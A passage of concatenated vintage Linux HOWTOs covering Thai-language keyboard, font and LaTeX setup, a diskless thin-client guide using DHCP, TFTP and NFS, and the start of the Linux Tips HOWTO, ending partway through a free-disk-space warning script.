keycode 0x36 =  c               C               0x0e1           0x0a9
keycode 0x37 =  v               V               0x0cd           0x0ce
keycode 0x38 =  b               B               0x0d4           0x0da
keycode 0x39 =  n               N               0x0d7           0x0ec
keycode 0x3A =  m               M               0x0b7           question
keycode 0x3B =  comma           less            0x0c1           0x0b2
keycode 0x3C =  period          greater         0x0e3           0x0cc
keycode 0x3D =  slash           question        0x0bd           0x0c6
keycode 0x3E =  Shift_R
keycode 0x62 =  Up
keycode 0x57 =  KP_1
keycode 0x58 =  KP_2
keycode 0x59 =  KP_3
keycode 0x6C =  KP_Enter
keycode 0x25 =  Control_L
keycode 0x40 =  Alt_L           Meta_L
keycode 0x41 =  space
keycode 0x71 =  Alt_R           Meta_R
keycode 0x6D =  Control_R
keycode 0x64 =  Left
keycode 0x68 =  Down
keycode 0x66 =  Right
keycode 0x5A =  KP_0
keycode 0x5B =  KP_Decimal

clear Shift
clear Lock
clear Control
clear Mod1
clear Mod2
clear Mod3
clear Mod4
clear Mod5

add    Shift   = Shift_L Shift_R
add    Lock    = Caps_Lock
add    Control = Control_L Control_R
add    Mod1    = Alt_L Alt_R
add    Mod2    = Mode_switch
Just put .Xmodmap in your home directory will be OK. When you start X window, X server will load this file.

You can also load .Xmodmap from command line.

%xmodmap ~/.Xmodmap

In above .Xmodmap file, US/Thai switch key is assigned to keycode 0x4E (78), Scroll Lock key, with the statement

keycode 0x4E =  Mode_switch     XF86ModeLock
XF86ModeLock is the special keysym for XFree86 X server. If you don't add this keysym, you have to hold the scroll lock key while you are typing Thai characters. Note that if you use commercial X server, some keycodes are different. You may have to map keyboard by yourself. See man-pages of X and xev for further information.

Note: If you are using XFree86 version 3.1.2D or later, you need to add the line XkbDisable in keyboard section of XF86Config file. You may config the keyboard section like the following sample.

Section "Keyboard"
   Protocol        "Standard"
   AutoRepeat      500 5
   LeftAlt         Meta
   RightAlt        ModeShift
   ScrollLock      ModeLock
   RightCtl        Compose
   XkbDisable
EndSection


The Linux Thai HOWTO: Applications with Thai language

 Next Previous Contents

3. Applications with Thai language

This is the tricky part. Most applications support ISO-8859-1 character set. For example, emacs can display ISO-8859-1 character. If we set emacs to display ISO-8859-1 and use Thai font, you can edit Thai document with emacs. But this is not a good policy. You should avoid using this trick as possible. What we need is Thai locale or Thai supported applications to manage these things.

To make X window application displays Thai font, you should run the application with -fn option. For example,

%xedit -fn thai8x16
Note that thai8x16 is just a one of Thai font names. You can see all available fonts by command xlfonts. If you don't want to fill -fn option every time you run application. You should set Thai font in your ~/.Xdefaults or ~/.Xresources like this
XTerm*font:     thai8x16

3.1 Some X applications and Thai language

txterm

txterm is Thai version of xterm. There are several programs running under xterm such as shell, pine, vi, less, etc. We can type Thai characters without any problems with txterm. Txterm also provides its own Thai input method by pressing " F1 " key. Txterm will use fonts thai9x13 as default Thai font. You can change this by add -fn option.

You can get txterm from Thaigate or ZzzThai.

bash shell :

Normally, shell accepts only ASCII character set. To type Thai characters in shell command line, you should set environment LC_CTYPE to iso_8859_1.

I don't set LC_CTYPE environment variable to iso_8859_1 because this environment variable will effect other applications too. With bash shell, you can specify which environment variable to be passed to the application. For example, I can make a fake Thai X terminal with this syntax.

LC_CTYPE=iso_8859_1 xterm -fn thai8x16
This xterm display Thai characters well, but not good for typing Thai characters. I strongly recommend you to use txterm.

ls :

If you name a filename in Thai. Issue the command as

ls -N

You may set alias in ~/.bashrc or ~/.cshrc, so you can type ls without option. If you don't use ls with -N option, you may see Thai filename as ?????.

Emacs, Mule

Mule stands for " Multilingual Enhancement to GNU Emacs " . It has the same functions as emacs and supports many languages. Mule provides its own input method, so you don't need any configuration for typing Thai. You needs only Thai fonts for mule which you can get from, ZzzThai or Etl site. These Thai fonts are fixed width fonts.

You need some configuration for mule. Puts the following lines in your .emacs.

;;
;; Thai System, add in .emacs
;;
(set-file-coding-system-for-read '*tis620*)
(set-default-file-coding-system '*tis620*)
(set-display-coding-system '*tis620*)
(set-keyboard-coding-system '*tis620*)
(setq-deafault quail-current-package (assoc "thai" quail-package-alist))
Add the following lines in .Xdefaults.
!
! Emacs, Mule - Font menu
!
Emacs*FontSetList: thai14, thai16, thai24
Emacs*FontSet-thai14:\
        -etl-fixed-medium-r-normal--14-140-72-72-m-70-tis620.2529-1
Emacs*FontSet-thai16:\
        -etl-fixed-medium-r-normal--16-160-72-72-m-80-tis620.2529-1
Emacs*FontSet-thai24:\
        -etl-fixed-medium-r-normal--24-500-72-72-m-120-tis620.2529-1

When you hold shift key and press left mouse's button, you can select Thai fonts to display in mule window. To type Thai characters, press " Ctrl + ] " . To type English, press " Ctrl + ] " again.

You can get mule from ElectroTechnical Laboratory(ETL)

vi

Vi should be run on txterm.

pine

In the past, we could not send 8-bit characters through E-mail. Now, although mail transfer agent can handle 8-bit characters but some old mail transfer agent can not. We can send Thai e-mail by using e-mail application that supports MIME (Multipurpose Internet Mail Extensions) E-mail applications that support MIME are pine, elm, Netscape mail, etc.

Put the following definition in your ~/.pinerc file:

character-set=ISO-8859-1
This can also be set via the Setup option in pine window. You can find it under Config. You can read Thai news from pine, too.

Pine should be run in txterm.

Netscape

If you have Thai fonts in your system. Just set Thai font from preference. Thai fonts will appear in User defined area. See http://www.fedu.uec.ac.jp/ZzzThai/unix for setting Thai language on Netscape.

Some movement about Thai Mozilla project at http://members.xoom.com/inThai/mozthai.html.

Ss, Simple thai word Separator

ss is a dictionary based Thai word separation program similar to cttex. It can be used to insert a configurable string between Thai words. It can also show words that cannot be found in the dictionary. More words can be added to the dictionary. Developed by Mr.Teera Kittichareonpot.

We can use this program to insert < WBR > tag between Thai words in html file. Browser will display Thai homepage better than normal html document.

Xzthai, X keyboard configurator + simple editor

Xzthai, this is the Tcl/Tk application for mapping Thai keyboard on any keyboard with graphical user interface. Also provides simple editor and keyboard layout figure. It actually uses xmodmap program in background to map Thai keyboard. This may be useful for commercial X server and X server on UNIX.

3.2 Printing Thai document

Thai2ps is used to convert plain text file to postscript file.You can use ghostscript(gs) to print your Thai document. For better quality document, you have to use (La)TeX.

Latex and Thai language

Dr. Manop Wongsaisuwan first tried to use Thai language with latex. He wrote some perl script as filter for latex source code that contains Thai language. Then pass the result to latex. Mr. Vuthichai Ampornaramvech used this concept and wrote a program in C language, cttex, to handle this. It runs faster and makes Thai word segmentation based on dictionary. Cttex also fixes the position of Thai characters in word, so SARA and WANNAYUK will be placed in the beautiful position.

You can find Thai latex filter from http://thaigate.nacsis.ac.jp/files/ttex.html.

Latex's configuration for Thai language

You must have latex installed in your computer. First, download Thai postscript (Type1) fonts, tfm fonts and Thai style file. These fonts are needed by Latex. This is the list of files you should download.

tfm fonts:
    dbtt.tfm    dbttb.tfm   dbttbi.tfm  dbtti.tfm
postscript fonts:
    dbtt.pfa    dbttb.pfa   dbttbi.pfa  dbtti.pfa
style files:
    thai.sty sakka.sty
Thai Latex filter:
    cttex
Sample Latex file:
    ttex.ttex test.ttex

There is latex's directory at /usr/lib/texmf/texmf/ (RedHat 5.0). I will call /usr/lib/texmf/texmf/ as " $texroot " . We will concentrate at $texroot/texmf/ directory. In $texroot/texmf/ directory, there are many files about tex's configuration. You have to edit files in dvips, fonts, tex subdirectories.

Add the following lines to $texroot/texmf/dvips/misc/psfonts.map

dbtt  DBThaiText <dbtt.pfa
dbttb DBThaiTextBold <dbttb.pfa
dbttbi DBThaiTextBoldItalic <dbttbi.pfa
dbtti DBThaiTextItalic <dbtti.pfa

Make a new directories and copy files to the appropriate directories.

%mkdir /usr/lib/texmf/texmf/fonts/tfm/public/thai
%mkdir /usr/lib/texmf/texmf/fonts/type1/public/thai
%mkdir /usr/lib/texmf/texmf/tex/generic/thai
%cp *.tfm /usr/lib/texmf/texmf/fonts/tfm/public/thai
%cp *.pfa /usr/lib/texmf/texmf/fonts/type1/public/thai
%cp *.sty /usr/lib/texmf/texmf/tex/generic/thai

Run texhash or MakeTeXls-R(in some system) to update Tex database.

%/usr/bin/texhash
texhash: updating /usr/lib/texmf/texmf/ls-R ...
texhash: Done.

Use Thai LaTeX filter

We can use cttex as filter like this,

%cttex < ttex.ttex > ttex.tex
C-TTeX $Revivsion: 1.15 $
Usage : cttex [cutcode] < infile > outfile
Usage : cutcode=0 forces operation in HTML mode.
Build-in dictionary size: 9945 words
 343
Done
%latex ttex.tex
...
%xdvi ttex.dvi
You can convert dvi file to postscript file by,
%dvips -o ttex.ps ttex.dvi

Finally, you can print ttex.ps by using gs or lpr. You must configure printer before printing. See man-pages of printcap, gs, lpr for more information.

Editing LaTex source file

For new latex user, lyx is helpful. But I recommend to use mule to edit Thai latex source file because mule supports Thai language and it is a powerful editor. You may take a look a Thai Latex tutorial.

3.3 X Application Resources

Because Xt based applications allow user to configure the applications by resources. We can make the menu or label to be Thai language.

For example, if you want xman to display Thai labels. You may add these lines in your .Xdefaults

......
!!  Xman section
Xman*Font:                          thai8x16
Xman*helpButton.Label:              ªèÇÂ
Xman*quitButton.Label:              ÍÍ¡
Xman*manpageButton.Label:           ¤ÙèÁ×Í¡ÒÃãªé
......

You can use the same idea to set window manager to be more Thai environment too.

3.4 Thai Extension for Linux (TE)

Thai Extension for Linux is a installation package comes with applicaions and Thai fonts. You don't have to configure Linux system and applications by yourself. Let TE do configuration task for you. After installation, you can use Thai language suddenly. Get TE from ftp://fedu.uec.ac.jp/pub/thai/UEC/ZzzThai/Software/Linux/


The Linux Thai HOWTO: References and FTP sites

 Next Previous Contents

4. References and FTP sites

4.1 Other documents of relevance

The HOWTOs ought to be available from all mirrors of sunsite.unc.edu.

The Linux Danish/International HOWTO by Niels Kristian Bech Jensen

The Linux Cyrillic HOWTO by Alexander L. Belikoff

The Keystroke mini-HOWTO by Zenon Fortuna.

The Locales mini-HOWTO by Peeter Joot. (This one is mainly for developers.)

The ISO-8859-1 FAQ and Programming for Internationalization FAQ (plus much more) by Michael Gschwind is available from his homepage.

4.2 Thai related stuffs

" NACSIS R& D Thai Project Page " , http://thaigate.nacsis.ac.jp

  • Information about Thai computing.
  • Discussion groups in Thai language, such as thai-l (Thai Mailing list), Thai news, etc.
  • Thai references and Thai softwares.
  • Thai Latex filter.

" ZzzThai Project " , http://www.fedu.uec.ac.jp

  • Most softwares and Thai fonts introduced here can download from ZzzThai.
  • Describe how to use Thai with 3 main computer platforms, UNIX like, Windows and Mac.
  • Linux information at http://www.fedu.uec.ac.jp/ZzzThai/Linux, TE, Thai LaTeX tutorial, etc.
  • By The group of students at The University of Electro-Communications, Tokyo.

" Vuthichai's Page " , http://www.ctrl.titech.ac.jp:80/~vuthi/

  • Information about Thai computing by Mr. Vuthichai Ampornaramveth.

" An annotated reference to the Thai implementations " , http://www.inet.co.th/cyberclub/trin/thairef/

  • Information about Thai character standard.
  • By Mr.Trin Tantsetthi.

" X window and Thai language " , http://members.xoom.com.cwg.x11th/

  • By Mr.Rawat S.Pirom

" SchoolNet Internet Sever " , http://www.school.net.th/linux-sis/

  • Using Linux in School, Thailand.
  • By NECTEC (National Electronics and Computer Technology Center).

" Thai Open Source Development " , http://members.xoom.com/inThai

  • Mozilla Thai enabling.
  • Open source Thai softwares and Libraries.
  • By Mr.Samphan Raruenrom

" Linux Thai Project " , http://www.geocities.com/SiliconValley/8302

  • Information about Linux in Thai language.
  • By Kaiwal Development Team.

" ThaiLinux unofficial Webboard " , http://lulu.mptc.eng.cmu.ac.th/HyperNews/get/ThaiLinux.html

  • Questions and answers about Linux in Thai language.
  • By Mr.Pruet Boonma

" Thai Linux installation project " , http://www.geocities.com/Tokyo/Bay/4521/

  • Installation guide in Thai language

4.3 FTP and Web sites

Most softwares and Thai fonts which introdued in this howto.

  • ftp://ftp.fedu.uec.ac.jp/pub/thai/UEC/ZzzThai/Software/Linux
  • http://thaigate.nacsis.ac.jp/files/index.html
  • http://www.nectec.or.th/pub/software/i18n/thai

Mule

  • ftp://etlport.etl.go.jp/pub/mule

Ss

  • http://members.xoom.com/theera/ss/

SunSite and mirrors. doc/howto has the above mentioned HOWTOs. utils/nls and subdirectories contain files related to National Language Support. Developers should take a look at locale-tutorial-0.8.txt.gz, locale-pack-0.8.tar.gz and cat-pack.tar.gz.

The GNU archives has the recode package for character table conversion, the ABOUT-NLS file and the gettext package for locale support of some GNU applications and (of course) the latest versions of GNU emacs.


The Linux Thai HOWTO: Acknowledgments and Copyright

 Next Previous Contents

5. Acknowledgments and Copyright

Some parts of this HOWTO comes from The Linux Danish/International HOWTO by Thomas Petersen, petersen@post1.tele.dk (the original author) and Niels Kristian Bech Jensen, nkbj@image.dk.

Thank you to Phaisarn Techajaruwong for building Thai fonts and valuable discussion.

Thank you to Thai students at The University of Electro-Communications and Mr. Vuthichai Ampornaramveth for every help.

This HOWTO is copyrighted by Poonlap Veeratanabutr, poon-v@fedu.uec.ac.jp. It is distributed as other Linux HOWTOs under the terms described below.

Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the authors would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.


Thin Client: New User Guide

Stephen Noble stephen7 at bigfoot.com

30th November 1999

1.How to turn inexpensive legacy computers into fast terminals using the power of your main computer, you will need : A fast computer to act as Server, A client computer (old and unwanted). Linux compatible network cards. A connection between computers. 2.How to centralise system administaration by useing NFS, ie placing the entire file system of a faster client on the server.

1. Introduction

2. Hardware and Documentation

  • 2.1 Hardware
  • 2.2 Documentation

3. Server setup

  • 3.1 Check your network services on your server
  • 3.2 Setting up a dhcpd daemon
  • 3.3 Tftpd setup
  • 3.4 Kernel image
  • 3.5 Security

4. Client setup

5. Network files system

  • 5.1 server specific
  • 5.2 client specific

6. X-terminal

7. Acknowledgments & further exercises


Thin Client: New User Guide: Introduction

 Next Previous Contents

1. Introduction

  • Linux allows any reasonably new computer to be used as a server to a thin client, or many thin clients, these thin clients can be inexpensive legacy computers. For a console terminal you need a 386 with 4-8mb of ram, or for an X-Terminal a 486/66 with 8-16mb ram.
  • One Option is without a hard drive, it keeps the noise down and simplifies administration as you only have one system to maintain.
  • If you have legacy apps, you can have them on a hard drive with it's legacy Operating System
  • This howto is aimed at those new to Unix/Linux, it will cover the essential areas you need to be aware of and point you to other documentation in that area you need to be familiar with.
  • You will probably use this as an aid to the http://www.slug.org.au/etherboot/ documentation, I include some more examples of config files, and leave many of the other features of etherboot as an exercise for the reader
  • If your client is sufficiently powerful only the file system need be shared, applications can run on the client system. (say a 233 32mb ram). Install an application on the server and all clients have access


Thin Client: New User Guide: Hardware and Documentation

 Next Previous Contents

2. Hardware and Documentation

2.1 Hardware

When you start, you will need at least this

  • a computer to act as Server,
  • a client computer, I unplugged the power to the hard disk and disabled the drive in the bios to emulate a diskless machine
  • compatible network cards
  • connection between computers, I used twisted pair ethernet with RJ45 terminators
    • For two computers a cross-over cable is sufficient, and saves another power point, the first computer shop I went to gave me blank stares, idiots !
    • For two or more clients, you need a hub, a kit with a 10 mb 4 port hub ,2 cards sells for under A$150, you can probably do better, I've had some success with $5 second hand cards, 3m cables for $6, a new hub for $40, a found monitor and a $60 pentium 75

2.2 Documentation

You may like to familiarise yourself with the linux documentation, specifically you can read (skim) for an overview the following :

  • /usr/doc/HOWTO/mini/Diskless - a similar howto tackling this problem
  • Networking Overview HOWTO - Networking capabilities of the Linux
  • Ethernet HOWTO - Information on Ethernet hardware compatibility
  • NET-3 HOWTO - How to configure TCP/IP networking under Linux.

Also you probably have in the /usr/doc/LDP/ directory

  • The System Administrators' Guide
  • The Network Administrators' Guide
  • Linux Installation and Getting Started

The obligitory link

  • http://www.magma.ca/~bklimas help for new linux users.

One last thing

  • my network server is snoball , my client is elite and my (local)domain is gundog.net Replace with your computers names where applicable


Thin Client: New User Guide: Server setup

 Next Previous Contents

3. Server setup

The server needs to be setup in readiness for the client in a number of ways

3.1 Check your network services on your server

run the command /sbin/ifconfig if your output is similar to below then your loopback and ethernet card are correctly configured.

[cassie@snoball cassie]$ /sbin/ifconfig
lo        Link encap:Local Loopback
     inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
     UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
     RX packets:854 errors:0 dropped:0 overruns:0 frame:0
     TX packets:854 errors:0 dropped:0 overruns:0 carrier:0
     collisions:0
eth0      Link encap:Ethernet  HWaddr 00:AA:00:BB:BD:09
     inet addr:192.168.53.1  Bcast:192.168.53.255  Mask:255.255.255.0
     UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
     RX packets:190369 errors:0 dropped:0 overruns:0 frame:0
     TX packets:249267 errors:0 dropped:0 overruns:0 carrier:1
     collisions:4793           Interrupt:5 Base address:0x320

If not ...

  • loopback, if this isn't here you need to activate it at start up,
  • ethernet card, is it being detected,is the driver a module
  • you can set these in linuxconf or netcfg

3.2 Setting up a dhcpd daemon

Here the server gives out IP numbers to requests by clients

  • is DHCPD installed, maybe (as root) just run ntsysv and have it start at boot time
  • this /etc/dhcpd.conf file assigns static IP numbers if you have a matching MAC address, A MAC address is a unique 'number' given to the NIC. The start of the 'number' is based on the manufacturer, if you don't have a sticker on the card, attempt to load the rom image from eprom or floppy and see what it reports. (see client setup)
    #/etc/dhcpd.conf
subnet 192.168.35.0 netmask 255.255.255.0 {
    option domain-name "gundog.net";
    range dynamic-bootp 192.168.35.128 192.168.35.255;
    default-lease-time 21600;
    max-lease-time 43200;
    }

host 286 {
        filename "/tftpboot/kermit.nb";
        hardware ethernet 00:80:c8:22:ae:de;
        fixed-address 192.168.35.70;
        }

host elite {
    filename "/tftpboot/vmlinuz.xterm";
    hardware ethernet 00:00:79:80:34:c9;
    fixed-address 192.168.35.23;
        option host-name "elite";
  • the /etc/hosts file resolves IP numbers into host names
    #etc/hosts
127.0.0.1       localhost    localhost.localdomain
192.168.53.1    snoball      snoball.gundog.net
192.168.53.23   elite        elite.gundog.net

3.3 Tftpd setup

trivial ftp - after you have your IP number your client requests a kernal, this is delivered over ethernet.

  • Install tftpd, make sure it's active in /etc/inetd.conf, typical line
    tftp dgram udp wait root /usr/sbin/tcpd in.tftpd -s /tftpboot

restart inetd, kill -HUP "process id of inetd"

3.4 Kernel image

You must compile a kernel for the Client that includes NFS support and the NIC driver for that client compiled in (not modules). Answer yes to Root file system on NFS? and BOOTP support?

After building the kernel, run mknbi-linux from the Etherboot distribution on it.(the mknbi program in the netboot/linux directory) Install this tagged image as /tftpdir/"vmlinuz.xterm".

see etherboot-4.2/doc/html/README-3.html

should i put a copy of mine somewhere for download RH6.0 ne2000 NIC

3.5 Security

It's easiest to allow anybody and anything to run services and process on your computer, but one day you will be sorry. You restrict these by your /etc/hosts.deny and specifically restore rights by /etc/hosts.allow, indicative examples :

#hosts.deny
# all except those in hosts.allow
ALL:ALL

#hosts.allow
#only hosts within my domain and my host at home.
ALL:LOCAL, 192.168.53.       #<-- note:no space after :

more security - look for more information in the ldp-howto's and if your using etherboot, in it's security howto.


Thin Client: New User Guide: Client setup

 Next Previous Contents

4. Client setup

Network loader

A small program that runs as a BIOS extension, can be loaded from a floppy, or you can burn an eprom chip and insert it on your network card for a totally diskless client. It handles the DHCPD query and TFTP loading and then transfers control to the loaded image. It uses TCP/IP protocols.

There are two free implementations of TCP/IP net loaders: Etherboot and Netboot: Etherboot uses built-in drivers while Netboot uses Packet drivers.

  • see etherboot-4.2/doc/html/README-2.html,
  • I compiled the option to ask local or Network and default to local after 5 seconds
  • making a boot rom floppy, floppyload.bin was tricky to find, I copied it into the directory of compiled rom images
    cat floppyload.bin ne2000.lzrom > /dev/fd0


Thin Client: New User Guide: Network files system

 Next Previous Contents

5. Network files system

The Client requests to mount /tftpboot/<IP address of client> as its / by NFS from server. You must export this from the server,(maybe symlink to /tftpboot/client to be safe.)

NFS is a big topic there is a HOWTO and two mini Howto's.

first you need to create a copy of your current system under /tftpboot ken has written two scripts that do all your work, I called them makefirst and makecopy. my first client takes 20-30mb and the copy less. I used du -h to look for large unnecesary files.

see etherboot-4.2/doc/html/diskless-5.html

the following seem to me to be the critical files here

5.1 server specific

#/etc/exports
/tftpboot/elite             elite(rw,no_root_squash)
/tftpboot/elite             gordon(rw,no_root_squash)
/usr                        *.gundog.net(ro)
/home                       *.gundog.net(rw)
/mnt/cdrom                  (ro)

run exportfs -a  to reread the exports file after
changes /usr/sbin/exportfs --help

#/etc/sysconfig/network
NETWORKING=yes
FORWARD_IPV4="no"
HOSTNAME="snoball"         <-----------
GATEWAYDEV=""
GATEWAY=""

#/etc/sysconfig/network-scripts/ifcfg-eth0
IPADDR="192.168.53.1"            <-----------
BOOTPROTO=none

5.2 client specific

#tftpboot/elite/etc/fstab
snoball:/tftpboot/elite    /               nfs rw  1 1
none                    /proc proc          defaults   0 0
snoball:/usr           /usr                 nfs     ro  1 1
snoball:/home          /home                nfs     rw  1 1

#tftpboot/elite/etc/sysconfig/network
NETWORKING=yes
FORWARD_IPV4=nomore
HOSTNAME=elite
GATEWAYDEV=
GATEWAY="192.168.53.1"       <-----------

#/tftpboot/elite/etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
USERCTL=yes
ONBOOT=yes
BOOTPROTO=none
BROADCAST=192.168.53.255
NETWORK=192.168.53.0
NETMASK=255.255.255.0
IPADDR=192.168.53.23         <-----------

#odd fiddles #itemize> #item>fast... #item>cp /usr/bin/xargs /tftpboot/client/bin/xargs #/itemize>


Thin Client: New User Guide: X-terminal

 Next Previous Contents

6. X-terminal

With no further changes your client should boot on the CLIENT pc, it just happens to be sharing it's files via NFS

At this point you have a console terminal. you need to make just a few more changes to run X

  • Configuring X

    As root on client run Xconfigurator and mouseconfig,

    If this fails use XF86Setup check your RPMS dir on your CD (eg.ls *Setup*)

  • X Font Server
    #chech how xfs starts on server /etc/rc.d/init.d/xfs
  start)
    echo -n "Starting X Font Server: "
    rm -fr /tmp/.font-unix
    daemon --check xfs su xfs -c xfs -s /bin/sh
    touch /var/lock/subsys/xfs
    echo
    ;;

#edit XF86Config for all machines
    FontPath  "tcp/snoball:7100"
  • Console login

    You are now set up for a console login to the client PC. You are using the client memory and processor, this is adequate for console programs and there and many or great merit, program in python, email with pine or browse with lynx.

    You may still start X from here, make the server changes in the next section, at the prompt type X -query snoball and you will get the login box to the server

  • Graphical login

    Server set up

    1. Make sure the client is matched by a clause in /etc/X11/xdm/Xaccess
*   CHOOSER BROADCAST   #any indirect host can get a chooser

2. Comment out the :0 in /etc/X11/xdm/Xservers
#:0 local /usr/X11R6/bin/X

3. Then make sure that xdm is run from the init scripts.
#etc/inittab
id:5:initdefault:

and
# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon
xdm:5:respawn:/usr/X11R6/bin/xdm -nodaemon

    On the client

    Get the slow PC's to run on the server, Fast PC's (eg 166mhz 32mb ram)can run ok on their own CPU and memory

    the part maarked WARNING dosn't actually work as yet, but I'm close to getting the syntax correct, use the two stage method via the console login in the mean time.

    #/tftpboot/elite/etc/inittab

id:5:initdefault:                                    #WARNING
x:5:respawn:/usr/X11R6/bin/Xwrapper -query snoball   #WARNING

OR to run on client ??

id:3:initdefault:                                    #runlevel 3 ie console
x:5:respawn:/etc/X11/prefdm -nodaemon


Thin Client: New User Guide: Acknowledgments & further exercises

 Next Previous Contents

7. Acknowledgments & further exercises

Markus Gutschke and Ken Yap the authors of the Etherboot program.

Extend your system with the following programs

  • squid - cache your web browsing for others on your network
  • junkbuster - banish web banner adds
  • mailman - mailinglist ;setup via e-mail or web
  • imp - web based email (with a java enabled browser)
  • python - for some Java and C is just too hard
  • sgmltools - knock out multiple versions of your docs
  • suggestions ?

stephen7 at bigfoot.com


The Linux Tips HOWTO

Paul Anderson, paul@geeky1.ebtech.net

v3.6, June 1998

This HOWTO contains those hard to find hints and tweekings that make Linux a bit nicer.

1. Introduction

2. Short Tips

  • 2.1 Handy Syslog Trick Paul Anderson, Tips-HOWTO maintainer
  • 2.2 Script to view those compressed HOWTOs. Didier Juges, dj@destin.nfds.net
  • 2.3 Is there enough free space??? Hans Zoebelein, zocki@goldfish.cube.net
  • 2.4 Util to clean up your logfiles. Paul Anderson, Tips-HOWTO Maintainer>
  • 2.5 Handy Script to Clean Up Corefiles. Otto Hammersmith,
  • 2.6 Moving directories between filesystems. Alan Cox, A.Cox@swansea.ac.uk
  • 2.7 Finding out which directories are the largest. Mick Ghazey,
  • 2.8 The Linux Gazette
  • 2.9 Pointer to patch for GNU Make 3.70 to change VPATH behavior.
  • 2.10 How do I stop my system from fscking on each reboot? Dale Lutz, dal@wimsey.com
  • 2.11 How to avoid fscks caused by "device busy" at reboot time. Jon Tombs, jon@gtex02.us.es
  • 2.12 How to find the biggest files on your hard-drive.
  • 2.13 How to print pages with a margin for hole punching. Mike Dickey, mdickey@thorplus.lib.purdue.edu
  • 2.14 A way to search through trees of files for a particular regular expression.
  • 2.15 A script for cleaning up after programs that create autosave and backup files.
  • 2.16 How to find out what process is eating the most memory. Simon Amor,
  • 2.17 Rigging vi for C programming, Paul Anderson,Tips-HOWTO Maintainer
  • 2.18 Using ctags to ease programming.
  • 2.19 Why does sendmail hang for 5 minutes on startup with RedHat? Paul Anderson,
  • 2.20 How do I configure RedHat for using color-ls? Paul Anderson, paul@geeky1.ebtech.net
  • 2.21 How do I find which library in /usr/lib holds a certain function? Pawel Veselow,
  • 2.22 I compiled a small test program in C, but when I run it, I get no output!

3. Detailed Tips

  • 3.1 Sharing swap partitions between Linux and Windows. Tony Acero, ace3@midway.uchicago.edu
  • 3.2 Desperate Undelete. Michael Hamilton, michael@actrix.gen.nz
  • 3.3 How to use the immutable flag. Jim Dennis, jadestar@rahul.net
  • 3.4 A suggestion for where to put new stuff.
  • 3.5 Converting all files in a directory to lowercase. Justin Dossey, dossey@ou.edu
  • 3.6 How To Upgrade Sendmail
  • 3.7 Some tips for new sysadmins.
  • 3.8 How to configure xdm's chooser for host selection. Arrigo Triulzi, a.triulzi@ic.ac.uk


The Linux Tips HOWTO: Introduction

 Next Previous Contents

1. Introduction

Welcome to the Linux Tips HOWTO, a list of neato tricks and optimizations that make Linux more fun. All I have in here right now are tips off of the top of my head, and tips from the old Tips-HOWTO (Why take out decent tips, right?). So send all your favorite hints and tips to me so I can put them in the next Tips-HOWTO.

Paul Anderson Maintainer--Linux TIPS HOWTO

panderso@ebtech.net


The Linux Tips HOWTO: Short Tips

 Next Previous Contents

2. Short Tips

2.1 Handy Syslog Trick Paul Anderson, Tips-HOWTO maintainer

Edit your /etc/syslog.conf, and put in the following line:

# Dump everything on tty8
*.*                                     /dev/tty8
One caveat: REMEMBER TO USE TABS! syslog doesn't like spaces...

2.2 Script to view those compressed HOWTOs. Didier Juges, dj@destin.nfds.net

From a newbie to another, here is a short script that eases looking for and viewing howto documents. My howto's are in /usr/doc/faq/howto/ and are gzipped. The file names are XXX-HOWTO.gz, XXX being the subject. I created the following script called "howto" in the /usr/local/sbin directory:

#!/bin/sh
if [ "$1" = "" ]; then
    ls /usr/doc/faq/howto | less
else
    gunzip -c /usr/doc/faq/howto/$1-HOWTO.gz | less
fi
When called without argument, it displays a directory of the available howto's. Then when entered with the first part of the file name (before the hyphen) as an argument, it unzips (keeping the original intact) then displays the document.

For instance, to view the Serial-HOWTO.gz document, enter:

$ howto Serial

2.3 Is there enough free space??? Hans Zoebelein, zocki@goldfish.cube.net

Here comes a short script which will check from time to time that there is enough free space available on anything which shows up in mount (disks, cdrom, floppy...)

If space runs out, a message is printed every X seconds to the screen and 1 mail message per filled device is fired up.

#!/bin/sh

#
# $Id: check_hdspace,v 1.18 1996/12/11 22:33:29 root Exp root $
#

#
# Since I got mysterious error messages during compile when
# tmp files filled up my disks, I wrote this to get a warning
# before disks are full.
#
# If this stuff saved your servers from exploding,
# send praising email to zocki@goldfish.cube.net.
# If your site burns down because of this, sorry but I
# warned you: no comps.
# If you really know how to handle sed, please forgive me :)
#

#
# Shoot and forget: Put 'check_hdspace &' in rc.local.
# Checks for free space on devices every $SLEEPTIME sec.
# You even might check your floppies or tape drives. :)
# If free space is below $MINFREE (kb), it will echo a warning
# and send one mail for each triggering device to $MAIL_TO_ME.
# If there is more free space than trigger limit again,
# mail action is also armed again.
#

# TODO: Different $MINFREE for each device.
# Free /*tmp dirs securely from old junk stuff if no more free space.

DEVICES='/dev/sda2 /dev/sda8 /dev/sda9'         # device; your put disks here
MINFREE=20480                                   # kb; below this do warning
SLEEPTIME=10                                    # sec; sleep between checks
MAIL_TO_ME='root@localhost'                     # fool; to whom mail warning

# ------- no changes needed below this line (hopefully :) -------

MINMB=0
ISFREE=0
MAILED=""
let MINMB=$MINFREE/1024         # yep, we are strict :)

while [ 1 ]; do
        DF="`/bin/df`"
                for DEVICE in $DEVICES ; do
                ISFREE=`echo $DF | sed s#.\*$DEVICE" "\*[0-9]\*""\*[0-9]\*" "\*## | sed s#" ".\*##`

                if [ $ISFREE -le $MINFREE ] ; then
                        let ISMB=$ISFREE/1024
                        echo  "WARNING: $DEVICE only $ISMB mb free." >&2
                        #echo "more stuff here" >&2
                        echo -e "\a\a\a\a"

                        if [ -z  "`echo $MAILED | grep -w $DEVICE`" ] ; then
                                echo "WARNING: $DEVICE only $ISMB mb free.      (Trigger is set to $MINMB mb)" \
                                | mail -s "WARNING: $DEVICE only $ISMB mb free!" $MAIL_TO_ME
                                MAILEDH="$MAILED $DEVICE"
                                MAILED=$MAILEDH
                                # put further action here like cleaning
                                # up */tmp dirs...
                        fi
